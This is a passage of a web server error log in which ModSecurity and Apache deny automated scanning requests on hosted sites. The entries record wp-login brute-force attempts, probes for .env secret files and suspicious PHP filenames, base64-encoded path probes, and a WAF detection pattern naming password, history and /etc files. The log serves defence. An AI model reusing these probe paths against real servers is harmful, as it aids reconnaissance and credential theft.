[pid 648189:tid 648292] [remote 57.141.14.27:26808] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:33.485585 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.27:26808] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:33.491057 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9wb3dlcg== [Sat Jun 13 18:17:33.491525 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9wb3dlcg== [Sat Jun 13 18:17:33.529748 2026] [security2:error] [pid 648189:tid 648376] [client 34.23.213.224:55296] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zHVWSojQL4F7upKBmXQAAAJw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:33.553084 2026] [access_compat:error] [pid 646876:tid 646937] [remote 216.73.216.223:30900] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:33.553356 2026] [access_compat:error] [pid 646876:tid 646937] [remote 216.73.216.223:30900] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:33.595515 2026] [security2:error] [pid 648189:tid 648318] [remote 17.246.19.26:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zHVWSojQL4F7upKBmXwAAkmA"] [Sat Jun 13 18:17:33.595541 2026] [security2:error] [pid 648189:tid 648377] [client 185.177.72.9:41816] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/ini.php"] [unique_id "ai3zHVWSojQL4F7upKBmXgAAAJ0"] [Sat Jun 13 18:17:33.690194 2026] [security2:error] [pid 646876:tid 647050] [client 34.23.213.224:55300] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zHdyTkdrNlD40tSGvSgAAACo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:33.765838 2026] [security2:error] [pid 648189:tid 648309] [remote 17.241.219.155:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 155.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zHVWSojQL4F7upKBmZAAAl1c"] [Sat Jun 13 18:17:33.858715 2026] [security2:error] [pid 648189:tid 648407] [client 34.23.213.224:55310] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zHVWSojQL4F7upKBmaAAAALo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:33.925451 2026] [security2:error] [pid 646876:tid 646942] [remote 17.22.253.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zHdyTkdrNlD40tSGvTQAAej8"] [Sat Jun 13 18:17:33.987564 2026] [security2:error] [pid 648189:tid 648276] [remote 17.22.253.120:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 120.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zHVWSojQL4F7upKBmcQAAnzY"] [Sat Jun 13 18:17:34.011639 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjEwL3Bvd2Vy [Sat Jun 13 18:17:34.011944 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjEwL3Bvd2Vy [Sat Jun 13 18:17:34.021147 2026] [security2:error] [pid 648189:tid 648445] [client 185.177.72.9:41830] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/InstantCV/server/.env"] [unique_id "ai3zHlWSojQL4F7upKBmcwAAAN8"] [Sat Jun 13 18:17:34.029048 2026] [security2:error] [pid 646876:tid 647121] [client 34.23.213.224:55324] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zHtyTkdrNlD40tSGvUAAAAHE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:34.071496 2026] [security2:error] [pid 648189:tid 648273] [remote 103.205.140.225:30920] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.140.205.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "hairdefinitions.co.uk"] [uri "/wp-login.php"] [unique_id "ai3zHlWSojQL4F7upKBmdAAAmzM"], referer: https://hairdefinitions.co.uk/wp-login.php [Sat Jun 13 18:17:34.179240 2026] [security2:error] [pid 648189:tid 648339] [remote 57.141.14.110:20932] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3zHlWSojQL4F7upKBmewAAynQ"], referer: https://nelsonfarmstn.com/product/beeswax-lip-balm/?add_to_wishlist=411&_wpnonce=8d149de2a5&add-to-cart=374 [Sat Jun 13 18:17:34.192507 2026] [security2:error] [pid 648189:tid 648394] [client 34.23.213.224:55330] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zHlWSojQL4F7upKBmfQAAAK4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:34.355588 2026] [security2:error] [pid 648189:tid 648446] [client 34.23.213.224:55346] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zHlWSojQL4F7upKBmgQAAAOA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:34.359489 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.66:39410] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:34.359780 2026] [access_compat:error] [pid 648189:tid 648262] [remote 57.141.14.66:39410] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:34.379914 2026] [security2:error] [pid 648189:tid 648338] [remote 17.241.219.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zHlWSojQL4F7upKBmggAA_HM"] [Sat Jun 13 18:17:34.516934 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvaWQ= [Sat Jun 13 18:17:34.517214 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvaWQ= [Sat Jun 13 18:17:34.517720 2026] [security2:error] [pid 646876:tid 647114] [client 34.23.213.224:55352] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zHtyTkdrNlD40tSGvVwAAAGo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:34.600344 2026] [security2:error] [pid 648189:tid 648454] [client 185.177.72.9:41830] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/isadmin.php"] [unique_id "ai3zHlWSojQL4F7upKBmiQAAAOg"] [Sat Jun 13 18:17:34.681280 2026] [security2:error] [pid 646876:tid 647078] [client 34.23.213.224:55368] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zHtyTkdrNlD40tSGvWAAAAEY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:34.844217 2026] [security2:error] [pid 648189:tid 648432] [client 34.23.213.224:55376] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zHlWSojQL4F7upKBmkwAAANM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:34.859304 2026] [security2:error] [pid 646876:tid 646916] [remote 17.241.75.88:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 88.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zHtyTkdrNlD40tSGvXwAAbiU"] [Sat Jun 13 18:17:34.862526 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.71:43784] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:34.862828 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.71:43784] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:34.868714 2026] [security2:error] [pid 648189:tid 648460] [client 185.177.72.9:41838] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/items/.env"] [unique_id "ai3zHlWSojQL4F7upKBmlAAAAOo"] [Sat Jun 13 18:17:34.910865 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.52:29858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:34.911290 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.52:29858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:34.957994 2026] [security2:error] [pid 648189:tid 648226] [remote 17.22.245.62:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 62.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zHlWSojQL4F7upKBmlwAApAY"] [Sat Jun 13 18:17:34.974555 2026] [security2:error] [pid 648189:tid 648277] [remote 17.246.15.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zHlWSojQL4F7upKBmmAAAlzc"] [Sat Jun 13 18:17:35.007013 2026] [security2:error] [pid 648189:tid 648397] [client 185.177.72.9:41838] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/javascript/.env"] [unique_id "ai3zHlWSojQL4F7upKBmmQAAALE"] [Sat Jun 13 18:17:35.007905 2026] [security2:error] [pid 648189:tid 648374] [client 34.23.213.224:55380] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zH1WSojQL4F7upKBmmwAAAJo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:35.038807 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:17:35.039240 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:17:35.141394 2026] [security2:error] [pid 648189:tid 648367] [client 185.177.72.9:41838] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/jenkins/.env"] [unique_id "ai3zH1WSojQL4F7upKBmowAAAJM"] [Sat Jun 13 18:17:35.168570 2026] [security2:error] [pid 648189:tid 648363] [client 34.23.213.224:55392] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zH1WSojQL4F7upKBmpQAAAI8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:35.273410 2026] [security2:error] [pid 648189:tid 648445] [client 185.177.72.9:41838] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/jo.php"] [unique_id "ai3zH1WSojQL4F7upKBmqAAAAN8"] [Sat Jun 13 18:17:35.318222 2026] [access_compat:error] [pid 648189:tid 648234] [remote 57.141.14.40:61686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:35.318494 2026] [access_compat:error] [pid 648189:tid 648234] [remote 57.141.14.40:61686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:35.328813 2026] [security2:error] [pid 648189:tid 648395] [client 34.23.213.224:55406] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zH1WSojQL4F7upKBmqwAAAK8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:35.490053 2026] [security2:error] [pid 646876:tid 647113] [client 34.23.213.224:55408] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id 